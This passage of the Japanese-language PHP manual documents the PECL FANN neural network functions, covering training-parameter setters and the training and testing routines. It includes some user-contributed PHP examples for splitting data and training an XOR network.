  • Sets the min candidate epochs

fann_set_cascade_min_cand_epochs

(PECL fann >= 1.0.0)

fann_set_cascade_min_cand_epochs — Sets the min candidate epochs

説明

fann_set_cascade_min_cand_epochs ( resource $ann , int $cascade_min_cand_epochs ) : bool

Sets the min candidate epochs.

パラメータ

ann

ニューラルネットワークリソース。

cascade_min_cand_epochs

The minimum candidate epochs.

返り値

成功した場合に true、それ以外の場合に false を返します。

注意

注意:

この関数は、fann拡張機能が libfann > 2.2 以上でビルドされている場合にだけ利用可能です。

参考

  • fann_get_cascade_min_cand_epochs() - Returns the minimum candidate epochs

User Contributed Notes

There are no user contributed notes for this page.


Sets the minimum out epochs

  • ≪ fann_set_cascade_min_cand_epochs
  • fann_set_cascade_num_candidate_groups ≫
  • PHP Manual
  • Fann 関数
  • Sets the minimum out epochs

fann_set_cascade_min_out_epochs

(PECL fann >= 1.0.0)

fann_set_cascade_min_out_epochs — Sets the minimum out epochs

説明

fann_set_cascade_min_out_epochs ( resource $ann , int $cascade_min_out_epochs ) : bool

Sets the minimum out epochs.

パラメータ

ann

ニューラルネットワークリソース。

cascade_min_out_epochs

The minimum out epochs.

返り値

成功した場合に true、それ以外の場合に false を返します。

注意

注意:

この関数は、fann拡張機能が libfann > 2.2 以上でビルドされている場合にだけ利用可能です。

参考

  • fann_get_cascade_min_out_epochs() - Returns the minimum out epochs

User Contributed Notes

There are no user contributed notes for this page.


Sets the number of candidate groups

  • ≪ fann_set_cascade_min_out_epochs
  • fann_set_cascade_output_change_fraction ≫
  • PHP Manual
  • Fann 関数
  • Sets the number of candidate groups

fann_set_cascade_num_candidate_groups

(PECL fann >= 1.0.0)

fann_set_cascade_num_candidate_groups — Sets the number of candidate groups

説明

fann_set_cascade_num_candidate_groups ( resource $ann , int $cascade_num_candidate_groups ) : bool

Sets the number of candidate groups.

パラメータ

ann

ニューラルネットワークリソース。

cascade_num_candidate_groups

The number of candidate groups.

返り値

成功した場合に true、それ以外の場合に false を返します。

参考

  • fann_get_cascade_num_candidate_groups() - Returns the number of candidate groups

User Contributed Notes

There are no user contributed notes for this page.


Sets the cascade output change fraction

  • ≪ fann_set_cascade_num_candidate_groups
  • fann_set_cascade_output_stagnation_epochs ≫
  • PHP Manual
  • Fann 関数
  • Sets the cascade output change fraction

fann_set_cascade_output_change_fraction

(PECL fann >= 1.0.0)

fann_set_cascade_output_change_fraction — Sets the cascade output change fraction

説明

fann_set_cascade_output_change_fraction ( resource $ann , float $cascade_output_change_fraction ) : bool

Sets the cascade output change fraction.

パラメータ

ann

ニューラルネットワークリソース。

cascade_output_change_fraction

The cascade output change fraction.

返り値

成功した場合に true、それ以外の場合に false を返します。

参考

  • fann_get_cascade_output_change_fraction() - Returns the cascade output change fraction

User Contributed Notes

There are no user contributed notes for this page.


Sets the number of cascade output stagnation epochs

  • ≪ fann_set_cascade_output_change_fraction
  • fann_set_cascade_weight_multiplier ≫
  • PHP Manual
  • Fann 関数
  • Sets the number of cascade output stagnation epochs

fann_set_cascade_output_stagnation_epochs

(PECL fann >= 1.0.0)

fann_set_cascade_output_stagnation_epochs — Sets the number of cascade output stagnation epochs

説明

fann_set_cascade_output_stagnation_epochs ( resource $ann , int $cascade_output_stagnation_epochs ) : bool

Sets the number of cascade output stagnation epochs.

パラメータ

ann

ニューラルネットワークリソース。

cascade_output_stagnation_epochs

The number of cascade output stagnation epochs.

返り値

成功した場合に true、それ以外の場合に false を返します。

参考

  • fann_get_cascade_output_stagnation_epochs() - Returns the number of cascade output stagnation epochs

User Contributed Notes

There are no user contributed notes for this page.


Sets the weight multiplier

  • ≪ fann_set_cascade_output_stagnation_epochs
  • fann_set_error_log ≫
  • PHP Manual
  • Fann 関数
  • Sets the weight multiplier

fann_set_cascade_weight_multiplier

(PECL fann >= 1.0.0)

fann_set_cascade_weight_multiplier — Sets the weight multiplier

説明

fann_set_cascade_weight_multiplier ( resource $ann , float $cascade_weight_multiplier ) : bool

Sets the weight multiplier.

パラメータ

ann

ニューラルネットワークリソース。

cascade_weight_multiplier

The weight multiplier.

返り値

成功した場合に true、それ以外の場合に false を返します。

参考

  • fann_get_cascade_weight_multiplier() - Returns the weight multiplier

User Contributed Notes

There are no user contributed notes for this page.


Sets where the errors are logged to

  • ≪ fann_set_cascade_weight_multiplier
  • fann_set_input_scaling_params ≫
  • PHP Manual
  • Fann 関数
  • Sets where the errors are logged to

fann_set_error_log

(PECL fann >= 1.0.0)

fann_set_error_log — Sets where the errors are logged to

説明

fann_set_error_log ( resource $errdat , string $log_file ) : void

Sets where the errors are logged to.

パラメータ

errdat

ニューラルネットワークリソースあるいはニューラルネットワークトレーニングリソース。

log_file

The log file path.

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Calculate input scaling parameters for future use based on training data

  • ≪ fann_set_error_log
  • fann_set_learning_momentum ≫
  • PHP Manual
  • Fann 関数
  • Calculate input scaling parameters for future use based on training data

fann_set_input_scaling_params

(PECL fann >= 1.0.0)

fann_set_input_scaling_params — Calculate input scaling parameters for future use based on training data

説明

fann_set_input_scaling_params ( resource $ann , resource $train_data , float $new_input_min , float $new_input_max ) : bool

Calculate input scaling parameters for future use based on training data.

パラメータ

ann

ニューラルネットワークリソース。

train_data

ニューラルネットワークトレーニングリソース。

new_input_min

The desired lower bound in input data after scaling (not strictly followed)

new_input_max

The desired upper bound in input data after scaling (not strictly followed)

返り値

成功した場合に true、それ以外の場合に false を返します。

参考

  • fann_set_output_scaling_params() - Calculate output scaling parameters for future use based on training data

User Contributed Notes

There are no user contributed notes for this page.


Sets the learning momentum

  • ≪ fann_set_input_scaling_params
  • fann_set_learning_rate ≫
  • PHP Manual
  • Fann 関数
  • Sets the learning momentum

fann_set_learning_momentum

(PECL fann >= 1.0.0)

fann_set_learning_momentum — Sets the learning momentum

説明

fann_set_learning_momentum ( resource $ann , float $learning_momentum ) : bool

Sets the learning momentum.

More info available in fann_get_learning_momentum().

パラメータ

ann

ニューラルネットワークリソース。

learning_momentum

The learning momentum.

返り値

成功した場合に true、それ以外の場合に false を返します。

参考

  • fann_get_learning_momentum() - Returns the learning momentum
  • fann_set_training_algorithm() - Sets the training algorithm

User Contributed Notes

There are no user contributed notes for this page.


Sets the learning rate

  • ≪ fann_set_learning_momentum
  • fann_set_output_scaling_params ≫
  • PHP Manual
  • Fann 関数
  • Sets the learning rate

fann_set_learning_rate

(PECL fann >= 1.0.0)

fann_set_learning_rate — Sets the learning rate

説明

fann_set_learning_rate ( resource $ann , float $learning_rate ) : bool

Sets the learning rate.

More info available in fann_get_learning_rate().

パラメータ

ann

ニューラルネットワークリソース。

learning_rate

The learning rate.

返り値

成功した場合に true、それ以外の場合に false を返します。

参考

  • fann_get_learning_rate() - Returns the learning rate
  • fann_set_training_algorithm() - Sets the training algorithm

User Contributed Notes

There are no user contributed notes for this page.


Calculate output scaling parameters for future use based on training data

  • ≪ fann_set_learning_rate
  • fann_set_quickprop_decay ≫
  • PHP Manual
  • Fann 関数
  • Calculate output scaling parameters for future use based on training data

fann_set_output_scaling_params

(PECL fann >= 1.0.0)

fann_set_output_scaling_params — Calculate output scaling parameters for future use based on training data

説明

fann_set_output_scaling_params ( resource $ann , resource $train_data , float $new_output_min , float $new_output_max ) : bool

Calculate output scaling parameters for future use based on training data.

パラメータ

ann

ニューラルネットワークリソース。

train_data

ニューラルネットワークトレーニングリソース。

new_output_min

The desired lower bound in output data after scaling (not strictly followed)

new_output_max

The desired upper bound in output data after scaling (not strictly followed)

返り値

成功した場合に true、それ以外の場合に false を返します。

参考

  • fann_set_input_scaling_params() - Calculate input scaling parameters for future use based on training data

User Contributed Notes

There are no user contributed notes for this page.


Sets the quickprop decay factor

  • ≪ fann_set_output_scaling_params
  • fann_set_quickprop_mu ≫
  • PHP Manual
  • Fann 関数
  • Sets the quickprop decay factor

fann_set_quickprop_decay

(PECL fann >= 1.0.0)

fann_set_quickprop_decay — Sets the quickprop decay factor

説明

fann_set_quickprop_decay ( resource $ann , float $quickprop_decay ) : bool

Sets the quickprop decay factor.

パラメータ

ann

ニューラルネットワークリソース。

quickprop_decay

The quickprop decay factor.

返り値

成功した場合に true、それ以外の場合に false を返します。

参考

  • fann_get_quickprop_decay() - Returns the decay which is a factor that weights should decrease in each iteration during quickprop training

User Contributed Notes

There are no user contributed notes for this page.


Sets the quickprop mu factor

  • ≪ fann_set_quickprop_decay
  • fann_set_rprop_decrease_factor ≫
  • PHP Manual
  • Fann 関数
  • Sets the quickprop mu factor

fann_set_quickprop_mu

(PECL fann >= 1.0.0)

fann_set_quickprop_mu — Sets the quickprop mu factor

説明

fann_set_quickprop_mu ( resource $ann , float $quickprop_mu ) : bool

Sets the quickprop mu factor.

パラメータ

ann

ニューラルネットワークリソース。

quickprop_mu

The mu factor.

返り値

成功した場合に true、それ以外の場合に false を返します。

参考

  • fann_get_quickprop_mu() - Returns the mu factor

User Contributed Notes

There are no user contributed notes for this page.


Sets the decrease factor used during RPROP training

  • ≪ fann_set_quickprop_mu
  • fann_set_rprop_delta_max ≫
  • PHP Manual
  • Fann 関数
  • Sets the decrease factor used during RPROP training

fann_set_rprop_decrease_factor

(PECL fann >= 1.0.0)

fann_set_rprop_decrease_factor — Sets the decrease factor used during RPROP training

説明

fann_set_rprop_decrease_factor ( resource $ann , float $rprop_decrease_factor ) : bool

Sets the decrease factor used during RPROP training.

パラメータ

ann

ニューラルネットワークリソース。

rprop_decrease_factor

The decrease factor.

返り値

成功した場合に true、それ以外の場合に false を返します。

参考

  • fann_get_rprop_decrease_factor() - Returns the increase factor used during RPROP training

User Contributed Notes

There are no user contributed notes for this page.


Sets the maximum step-size

  • ≪ fann_set_rprop_decrease_factor
  • fann_set_rprop_delta_min ≫
  • PHP Manual
  • Fann 関数
  • Sets the maximum step-size

fann_set_rprop_delta_max

(PECL fann >= 1.0.0)

fann_set_rprop_delta_max — Sets the maximum step-size

説明

fann_set_rprop_delta_max ( resource $ann , float $rprop_delta_max ) : bool

The maximum step-size is a positive number determining how large the maximum step-size may be.

パラメータ

ann

ニューラルネットワークリソース。

rprop_delta_max

The maximum step-size.

返り値

成功した場合に true、それ以外の場合に false を返します。

参考

  • fann_get_rprop_delta_max() - Returns the maximum step-size
  • fann_get_rprop_delta_min() - Returns the minimum step-size

User Contributed Notes

There are no user contributed notes for this page.


Sets the minimum step-size

  • ≪ fann_set_rprop_delta_max
  • fann_set_rprop_delta_zero ≫
  • PHP Manual
  • Fann 関数
  • Sets the minimum step-size

fann_set_rprop_delta_min

(PECL fann >= 1.0.0)

fann_set_rprop_delta_min — Sets the minimum step-size

説明

fann_set_rprop_delta_min ( resource $ann , float $rprop_delta_min ) : bool

The minimum step-size is a small positive number determining how small the minimum step-size may be.

パラメータ

ann

ニューラルネットワークリソース。

rprop_delta_min

The minimum step-size.

返り値

成功した場合に true、それ以外の場合に false を返します。

参考

  • fann_get_rprop_delta_min() - Returns the minimum step-size

User Contributed Notes

There are no user contributed notes for this page.


Sets the initial step-size

  • ≪ fann_set_rprop_delta_min
  • fann_set_rprop_increase_factor ≫
  • PHP Manual
  • Fann 関数
  • Sets the initial step-size

fann_set_rprop_delta_zero

(PECL fann >= 1.0.0)

fann_set_rprop_delta_zero — Sets the initial step-size

説明

fann_set_rprop_delta_zero ( resource $ann , float $rprop_delta_zero ) : bool

The initial step-size is a positive number determining the initial step size.

パラメータ

ann

ニューラルネットワークリソース。

rprop_delta_zero

The initial step-size.

返り値

成功した場合に true、それ以外の場合に false を返します。

参考

  • fann_get_rprop_delta_zero() - Returns the initial step-size
  • fann_get_rprop_delta_min() - Returns the minimum step-size
  • fann_get_rprop_delta_max() - Returns the maximum step-size

User Contributed Notes

There are no user contributed notes for this page.


Sets the increase factor used during RPROP training

  • ≪ fann_set_rprop_delta_zero
  • fann_set_sarprop_step_error_shift ≫
  • PHP Manual
  • Fann 関数
  • Sets the increase factor used during RPROP training

fann_set_rprop_increase_factor

(PECL fann >= 1.0.0)

fann_set_rprop_increase_factor — Sets the increase factor used during RPROP training

説明

fann_set_rprop_increase_factor ( resource $ann , float $rprop_increase_factor ) : bool

Sets the increase factor used during RPROP training.

パラメータ

ann

ニューラルネットワークリソース。

rprop_increase_factor

The increase factor.

返り値

成功した場合に true、それ以外の場合に false を返します。

参考

  • fann_get_rprop_increase_factor() - Returns the increase factor used during RPROP training

User Contributed Notes

There are no user contributed notes for this page.


Sets the sarprop step error shift

  • ≪ fann_set_rprop_increase_factor
  • fann_set_sarprop_step_error_threshold_factor ≫
  • PHP Manual
  • Fann 関数
  • Sets the sarprop step error shift

fann_set_sarprop_step_error_shift

(PECL fann >= 1.0.0)

fann_set_sarprop_step_error_shift — Sets the sarprop step error shift

説明

fann_set_sarprop_step_error_shift ( resource $ann , float $sarprop_step_error_shift ) : bool

Sets the sarprop step error shift.

パラメータ

ann

ニューラルネットワークリソース。

sarprop_step_error_shift

The sarprop step error shift.

返り値

成功した場合に true、それ以外の場合に false を返します。

注意

注意:

この関数は、fann拡張機能が libfann > 2.2 以上でビルドされている場合にだけ利用可能です。

参考

  • fann_get_sarprop_step_error_shift() - Returns the sarprop step error shift

User Contributed Notes

There are no user contributed notes for this page.


Sets the sarprop step error threshold factor

  • ≪ fann_set_sarprop_step_error_shift
  • fann_set_sarprop_temperature ≫
  • PHP Manual
  • Fann 関数
  • Sets the sarprop step error threshold factor

fann_set_sarprop_step_error_threshold_factor

(PECL fann >= 1.0.0)

fann_set_sarprop_step_error_threshold_factor — Sets the sarprop step error threshold factor

説明

fann_set_sarprop_step_error_threshold_factor ( resource $ann , float $sarprop_step_error_threshold_factor ) : bool

Sets the sarprop step error threshold factor.

パラメータ

ann

ニューラルネットワークリソース。

sarprop_step_error_threshold_factor

The sarprop step error threshold factor.

返り値

成功した場合に true、それ以外の場合に false を返します。

注意

注意:

この関数は、fann拡張機能が libfann > 2.2 以上でビルドされている場合にだけ利用可能です。

参考

  • fann_get_sarprop_step_error_threshold_factor() - Returns the sarprop step error threshold factor

User Contributed Notes

There are no user contributed notes for this page.


Sets the sarprop temperature

  • ≪ fann_set_sarprop_step_error_threshold_factor
  • fann_set_sarprop_weight_decay_shift ≫
  • PHP Manual
  • Fann 関数
  • Sets the sarprop temperature

fann_set_sarprop_temperature

(PECL fann >= 1.0.0)

fann_set_sarprop_temperature — Sets the sarprop temperature

説明

fann_set_sarprop_temperature ( resource $ann , float $sarprop_temperature ) : bool

Sets the sarprop temperature.

パラメータ

ann

ニューラルネットワークリソース。

sarprop_temperature

The sarprop temperature.

返り値

成功した場合に true、それ以外の場合に false を返します。

注意

注意:

この関数は、fann拡張機能が libfann > 2.2 以上でビルドされている場合にだけ利用可能です。

参考

  • fann_get_sarprop_temperature() - Returns the sarprop temperature

User Contributed Notes

There are no user contributed notes for this page.


Sets the sarprop weight decay shift

  • ≪ fann_set_sarprop_temperature
  • fann_set_scaling_params ≫
  • PHP Manual
  • Fann 関数
  • Sets the sarprop weight decay shift

fann_set_sarprop_weight_decay_shift

(PECL fann >= 1.0.0)

fann_set_sarprop_weight_decay_shift — Sets the sarprop weight decay shift

説明

fann_set_sarprop_weight_decay_shift ( resource $ann , float $sarprop_weight_decay_shift ) : bool

Sets the sarprop weight decay shift.

パラメータ

ann

ニューラルネットワークリソース。

sarprop_weight_decay_shift

The sarprop weight decay shift.

返り値

成功した場合に true、それ以外の場合に false を返します。

注意

注意:

この関数は、fann拡張機能が libfann > 2.2 以上でビルドされている場合にだけ利用可能です。

参考

  • fann_get_sarprop_weight_decay_shift() - Returns the sarprop weight decay shift

User Contributed Notes

There are no user contributed notes for this page.


Calculate input and output scaling parameters for future use based on training data

  • ≪ fann_set_sarprop_weight_decay_shift
  • fann_set_train_error_function ≫
  • PHP Manual
  • Fann 関数
  • Calculate input and output scaling parameters for future use based on training data

fann_set_scaling_params

(PECL fann >= 1.0.0)

fann_set_scaling_params — Calculate input and output scaling parameters for future use based on training data

説明

fann_set_scaling_params ( resource $ann , resource $train_data , float $new_input_min , float $new_input_max , float $new_output_min , float $new_output_max ) : bool

Calculate input and output scaling parameters for future use based on training data.

パラメータ

ann

ニューラルネットワークリソース。

train_data

ニューラルネットワークトレーニングリソース。

new_input_min

The desired lower bound in input data after scaling (not strictly followed)

new_input_max

The desired upper bound in input data after scaling (not strictly followed)

new_output_min

The desired lower bound in output data after scaling (not strictly followed)

new_output_max

The desired upper bound in output data after scaling (not strictly followed)

返り値

成功した場合に true、それ以外の場合に false を返します。

参考

  • fann_set_input_scaling_params() - Calculate input scaling parameters for future use based on training data
  • fann_set_output_scaling_params() - Calculate output scaling parameters for future use based on training data

User Contributed Notes

There are no user contributed notes for this page.


Sets the error function used during training

  • ≪ fann_set_scaling_params
  • fann_set_train_stop_function ≫
  • PHP Manual
  • Fann 関数
  • Sets the error function used during training

fann_set_train_error_function

(PECL fann >= 1.0.0)

fann_set_train_error_function — Sets the error function used during training

説明

fann_set_train_error_function ( resource $ann , int $error_function ) : bool

Sets the error function used during training.

The error functions are described further in error functions constants.

パラメータ

ann

ニューラルネットワークリソース。

error_function

The error function constant

返り値

成功した場合に true、それ以外の場合に false を返します。

参考

  • fann_get_train_error_function() - Returns the error function used during training

User Contributed Notes

There are no user contributed notes for this page.


Sets the stop function used during training

  • ≪ fann_set_train_error_function
  • fann_set_training_algorithm ≫
  • PHP Manual
  • Fann 関数
  • Sets the stop function used during training

fann_set_train_stop_function

(PECL fann >= 1.0.0)

fann_set_train_stop_function — Sets the stop function used during training

説明

fann_set_train_stop_function ( resource $ann , int $stop_function ) : bool

Sets the stop function used during training.

The stop functions are described further in stop functions constants.

パラメータ

ann

ニューラルネットワークリソース。

stop_function

The stop function constant.

返り値

成功した場合に true、それ以外の場合に false を返します。

参考

  • fann_get_train_stop_function() - Returns the stop function used during training

User Contributed Notes

There are no user contributed notes for this page.


Sets the training algorithm

  • ≪ fann_set_train_stop_function
  • fann_set_weight_array ≫
  • PHP Manual
  • Fann 関数
  • Sets the training algorithm

fann_set_training_algorithm

(PECL fann >= 1.0.0)

fann_set_training_algorithm — Sets the training algorithm

説明

fann_set_training_algorithm ( resource $ann , int $training_algorithm ) : bool

Sets the training algorithm.

More info available in fann_get_training_algorithm().

パラメータ

ann

ニューラルネットワークリソース。

training_algorithm

Training algorithm constant

返り値

成功した場合に true、それ以外の場合に false を返します。

参考

  • fann_get_training_algorithm() - Returns the training algorithm

User Contributed Notes

There are no user contributed notes for this page.


Set connections in the network

  • ≪ fann_set_training_algorithm
  • fann_set_weight ≫
  • PHP Manual
  • Fann 関数
  • Set connections in the network

fann_set_weight_array

(PECL fann >= 1.0.0)

fann_set_weight_array — Set connections in the network

説明

fann_set_weight_array ( resource $ann , array $connections ) : bool

Set connections in the network.

Only the weights can be changed, connections and weights are ignored if they do not already exist in the network.

パラメータ

ann

ニューラルネットワークリソース。

connections

An array of FANNConnection objects

返り値

成功した場合に true、それ以外の場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


Set a connection in the network

  • ≪ fann_set_weight_array
  • fann_shuffle_train_data ≫
  • PHP Manual
  • Fann 関数
  • Set a connection in the network

fann_set_weight

(PECL fann >= 1.0.0)

fann_set_weight — Set a connection in the network

説明

fann_set_weight ( resource $ann , int $from_neuron , int $to_neuron , float $weight ) : bool

Set a connections in the network.

パラメータ

ann

ニューラルネットワークリソース。

from_neuron

The neuron where the connection starts

to_neuron

The neuron where the connection ends

weight

Connection weight

返り値

成功した場合に true、それ以外の場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


Shuffles training data, randomizing the order

  • ≪ fann_set_weight
  • fann_subset_train_data ≫
  • PHP Manual
  • Fann 関数
  • Shuffles training data, randomizing the order

fann_shuffle_train_data

(PECL fann >= 1.0.0)

fann_shuffle_train_data — Shuffles training data, randomizing the order

説明

fann_shuffle_train_data ( resource $train_data ) : bool

Shuffles training data, randomizing the order. This is recommended for incremental training, while it have no influence during batch training.

パラメータ

train_data

ニューラルネットワークトレーニングリソース。

返り値

成功した場合に true、それ以外の場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


Returns an copy of a subset of the train data

  • ≪ fann_shuffle_train_data
  • fann_test_data ≫
  • PHP Manual
  • Fann 関数
  • Returns an copy of a subset of the train data

fann_subset_train_data

(PECL fann >= 1.0.0)

fann_subset_train_data — Returns an copy of a subset of the train data

説明

fann_subset_train_data ( resource $data , int $pos , int $length ) : resource

Returns an copy of a subset of the train data resource, starting at position pos and length elements forward.

The fann_subset_train_data(train_data, 0, fann_length_train_data(train_data)) do the same as fann_duplicate_train_data()

パラメータ

data

ニューラルネットワークトレーニングリソース。

pos

Starting position.

length

The number of copied elements.

返り値

成功した場合にニューラルネットワークトレーニングリソース、エラー時に false を返します。

参考

  • fann_duplicate_train_data() - Returns an exact copy of a fann train data

User Contributed Notes

geekgirl dot joy at gmail dot com 01-Aug-2019 04:54
<?php
// Use this code to split your data into smaller sets.
// Useful for splitting your training data into training and testing groups

// Load Data
$data_file = "MyTrainingData.data";
$train_data = fann_read_train_from_file(dirname(__FILE__)  .  DIRECTORY_SEPARATOR  .  $data_file);

// Calculate how many examples are in the first group
$total_length = fann_length_train_data($train_data);
$a_length = floor($total_length / 10);

// Split the subsets
$training_data_a  = fann_subset_train_data($train_data, 0, $a_length);
$training_data_b  = fann_subset_train_data($train_data, $a_length, $total_length-$a_length);

// Save the training data to separate files
fann_save_train ($training_data_a, 'MyTrainingData_Subset_A.data'); // 1/10 of the training data
fann_save_train ($training_data_b, 'MyTrainingData_Subset_B.data'); // 9/10 of the training data


Test a set of training data and calculates the MSE for the training data

  • ≪ fann_subset_train_data
  • fann_test ≫
  • PHP Manual
  • Fann 関数
  • Test a set of training data and calculates the MSE for the training data

fann_test_data

(PECL fann >= 1.0.0)

fann_test_data — Test a set of training data and calculates the MSE for the training data

説明

fann_test_data ( resource $ann , resource $data ) : float

Test a set of training data and calculates the MSE for the training data.

This function updates the MSE and the bit fail values.

パラメータ

ann

ニューラルネットワークリソース。

data

ニューラルネットワークトレーニングリソース。

返り値

The updated MSE, or false on error.

参考

  • fann_train_on_data() - Trains on an entire dataset for a period of time
  • fann_train_epoch() - Train one epoch with a set of training data
  • fann_get_bit_fail() - The number of fail bits
  • fann_get_MSE() - Reads the mean square error from the network
  • fann_set_training_algorithm() - Sets the training algorithm

User Contributed Notes

There are no user contributed notes for this page.


Test with a set of inputs, and a set of desired outputs

  • ≪ fann_test_data
  • fann_train_epoch ≫
  • PHP Manual
  • Fann 関数
  • Test with a set of inputs, and a set of desired outputs

fann_test

(PECL fann >= 1.0.0)

fann_test — Test with a set of inputs, and a set of desired outputs

説明

fann_test ( resource $ann , array $input , array $desired_output ) : array

Test with a set of inputs, and a set of desired outputs. This operation updates the mean square error, but does not change the network in any way.

パラメータ

ann

ニューラルネットワークリソース。

input

An array of inputs. This array must be exactly fann_get_num_input() long.

desired_output

An array of desired outputs. This array must be exactly fann_get_num_output() long.

返り値

Returns test outputs on success, or false on error.

参考

  • fann_test_data() - Test a set of training data and calculates the MSE for the training data
  • fann_train() - Train one iteration with a set of inputs, and a set of desired outputs
  • fann_get_num_input() - Get the number of input neurons
  • fann_get_num_output() - Get the number of output neurons

User Contributed Notes

There are no user contributed notes for this page.


Train one epoch with a set of training data

  • ≪ fann_test
  • fann_train_on_data ≫
  • PHP Manual
  • Fann 関数
  • Train one epoch with a set of training data

fann_train_epoch

(PECL fann >= 1.0.0)

fann_train_epoch — Train one epoch with a set of training data

説明

fann_train_epoch ( resource $ann , resource $data ) : float

Train one epoch with the training data stored in data. One epoch is where all of the training data is considered exactly once.

This function returns the MSE error as it is calculated either before or during the actual training. This is not the actual MSE after the training epoch, but since calculating this will require to go through the entire training set once more. It is more than adequate to use this value during training.

The training algorithm used by this function is chosen by fann_set_training_algorithm() function.

パラメータ

ann

ニューラルネットワークリソース。

data

ニューラルネットワークトレーニングリソース。

返り値

The MSE, or false on error.

参考

  • fann_train_on_data() - Trains on an entire dataset for a period of time
  • fann_test_data() - Test a set of training data and calculates the MSE for the training data
  • fann_get_MSE() - Reads the mean square error from the network
  • fann_set_training_algorithm() - Sets the training algorithm

User Contributed Notes

geekgirljoy at gmail dot com 29-Oct-2018 02:26
This code demonstrates training XOR using fann_train_epoch and will let you watch the training process by observing a psudo MSE (mean squared error).

Other training functions: fann_train_on_data, fann_train_on_file, fann_train.

fann_train_epoch is useful when you want to observe the ANN while it is training and perhaps save snapshots or compare competing networks during training.

fann_train_epoch is different from fann_train in that it takes a data resource (training file) whereas fann_train takes an array of inputs and a separate array of outputs so use fann_train_epoch for observing training on data files (callback training resources) and use fann_train when observing manually specified data.

Example code:

<?php
$num_input = 2;
$num_output = 1;
$num_layers = 3;
$num_neurons_hidden = 3;
$desired_error = 0.0001;
$max_epochs = 500000;
$current_epoch = 0;
$epochs_between_saves = 100; // Minimum number of epochs between saves
$epochs_since_last_save = 0;
$filename = dirname(__FILE__) . "/xor.data";

// Initialize psudo mse (mean squared error) to a number greater than the desired_error
// this is what the network is trying to minimize.
$psudo_mse_result = $desired_error * 10000; // 1
$best_mse = $psudo_mse_result; // keep the last best seen MSE network score here

// Initialize ANN
$ann = fann_create_standard($num_layers, $num_input, $num_neurons_hidden, $num_output);

if ($ann) {
  echo 'Training ANN... ' . PHP_EOL;

  // Configure the ANN
  fann_set_training_algorithm ($ann , FANN_TRAIN_BATCH);
  fann_set_activation_function_hidden($ann, FANN_SIGMOID_SYMMETRIC);
  fann_set_activation_function_output($ann, FANN_SIGMOID_SYMMETRIC);

  // Read training data
  $train_data = fann_read_train_from_file($filename);

  // Check if psudo_mse_result is greater than our desired_error
  // if so keep training so long as we are also under max_epochs
  while(($psudo_mse_result > $desired_error) && ($current_epoch <= $max_epochs)){
    $current_epoch++;
    $epochs_since_last_save++;

    // See: http://php.net/manual/en/function.fann-train-epoch.php
    // Train one epoch with the training data stored in data.
    //
    // One epoch is where all of the training data is considered
    // exactly once.
    //
    // This function returns the MSE error as it is calculated
    // either before or during the actual training. This is not the
    // actual MSE after the training epoch, but since calculating this
    // will require to go through the entire training set once more.
    // It is more than adequate to use this value during training.
    $psudo_mse_result = fann_train_epoch ($ann , $train_data );
    echo 'Epoch ' . $current_epoch . ' : ' . $psudo_mse_result . PHP_EOL; // report

    // If we haven't saved the ANN in a while...
    // and the current network is better then the previous best network
    // as defined by the current MSE being less than the last best MSE
    // Save it!
    if(($epochs_since_last_save >= $epochs_between_saves) && ($psudo_mse_result < $best_mse)){

      $best_mse = $psudo_mse_result; // we have a new best_mse

      // Save a Snapshot of the ANN
      fann_save($ann, dirname(__FILE__) . "/xor.net");
      echo 'Saved ANN.' . PHP_EOL; // report the save
      $epochs_since_last_save = 0; // reset the count
    }

  } // While we're training

  echo 'Training Complete! Saving Final Network.'  . PHP_EOL;

  // Save the final network
  fann_save($ann, dirname(__FILE__) . "/xor.net");
  fann_destroy($ann); // free memory
}
echo 'All Done!' . PHP_EOL;
?>


Trains on an entire dataset for a period of time

  • ≪ fann_train_epoch
  • fann_train_on_file ≫
  • PHP Manual
  • Fann 関数
  • Trains on an entire dataset for a period of time

fann_train_on_data

(PECL fann >= 1.0.0)

fann_train_on_data — Trains on an entire dataset for a period of time

説明

fann_train_on_data ( resource $ann , resource $data , int $max_epochs , int $epochs_between_reports , float $desired_error ) : bool

Trains on an entire dataset for a period of time.

This training uses the training algorithm chosen by fann_set_training_algorithm() and the parameters set for these training algorithms.

パラメータ

ann

ニューラルネットワークリソース。

data

ニューラルネットワークトレーニングリソース。

max_epochs

The maximum number of epochs the training should continue

epochs_between_reports

The number of epochs between calling a callback function. A value of zero means that user function is not called.

desired_error

The desired fann_get_MSE() or fann_get_bit_fail(), depending on the stop function chosen by fann_set_train_stop_function()

返り値

成功した場合に true、それ以外の場合に false を返します。

参考

  • fann_train_on_file() - Trains on an entire dataset, which is read from file, for a period of time
  • fann_train_epoch() - Train one epoch with a set of training data
  • fann_get_bit_fail() - The number of fail bits
  • fann_get_MSE() - Reads the mean square error from the network
  • fann_set_train_stop_function() - Sets the stop function used during training
  • fann_set_training_algorithm() - Sets the training algorithm
  • fann_set_callback() - Sets the callback function for use during training

User Contributed Notes

There are no user contributed notes for this page.


Trains on an entire dataset, which is read from file, for a period of time

  • ≪ fann_train_on_data
  • fann_train ≫
  • PHP Manual
  • Fann 関数
  • Trains on an entire dataset, which is read from file, for a period of time

fann_train_on_file

(PECL fann >= 1.0.0)

fann_train_on_file — Trains on an entire dataset, which is read from file, for a period of time

説明

fann_train_on_file ( resource $ann , string $filename , int $max_epochs , int $epochs_between_reports , float $desired_error ) : bool

Trains on an entire dataset, which is read from file, for a period of time.

This training uses the training algorithm chosen by fann_set_training_algorithm() and the parameters set for these training algorithms.

パラメータ

ann

ニューラルネットワークリソース。

filename

The file containing train data

max_epochs

The maximum number of epochs the training should continue

epochs_between_reports

The number of epochs between calling a user function. A value of zero means that user function is not called.

desired_error

The desired fann_get_MSE() or fann_get_bit_fail(), depending on the stop function chosen by fann_set_train_stop_function()

返り値

成功した場合に true、それ以外の場合に false を返します。

参考

  • fann_train_on_data() - Trains on an entire dataset for a period of time
  • fann_train_epoch() - Train one epoch with a set of training data
  • fann_get_bit_fail() - The number of fail bits
  • fann_get_MSE() - Reads the mean square error from the network
  • fann_set_train_stop_function() - Sets the stop function used during training
  • fann_set_training_algorithm() - Sets the training algorithm
  • fann_set_callback() - Sets the callback function for use during training

User Contributed Notes

geekgirljoy at gmail dot com 01-Nov-2018 05:11
Training File (xor.data):
4 2 1
-1 -1
-1
-1 1
1
1 -1
1
1 1
-1

<?php
$num_input = 2;
$num_output = 1;
$num_layers = 3;
$num_neurons_hidden = 3;
$desired_error = 0.001;
$max_epochs = 500000;
